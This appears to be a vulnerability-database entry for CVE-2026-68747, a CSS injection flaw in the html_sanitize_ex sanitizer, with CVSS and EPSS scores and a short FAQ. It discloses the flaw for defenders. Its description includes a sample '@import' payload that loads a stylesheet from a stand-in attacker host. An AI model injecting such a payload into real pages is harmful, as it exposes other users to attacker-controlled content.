Vulnerability in Rrrene HTML Sanitize Ex

CVE-2026-68747

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.

Published · last modified .

CVSS v3 metric

CVSS v3 base score 6.1 (Medium). Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.

EPSS exploit prediction

EPSS: 0.004 (39.0th percentile), scored .

Very low probability of exploitation in the next 30 days; routine patching cadence is appropriate. 39th percentile — 39.0% of CVEs in the catalogue have a lower EPSS than this one. How to read EPSS.

EPSS trend (30 days)EPSS over the last 30 days for CVE-2026-68747: held from 0.004 to 0.004.

EPSS over last 30 days · oldest: 0.004 · newest: 0.004 · change: 0.000

Affected products

Weakness classification (CWE)

References

Frequently asked questions

What is CVE-2026-68747?
CVE-2026-68747 is a medium-severity vulnerability in Rrrene HTML Sanitize Ex, classified under Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection). CVSS score: 6.1/10. Published 2026-08-06.
How severe is CVE-2026-68747?
Medium severity. CVSS v3 base score is 6.1 out of 10.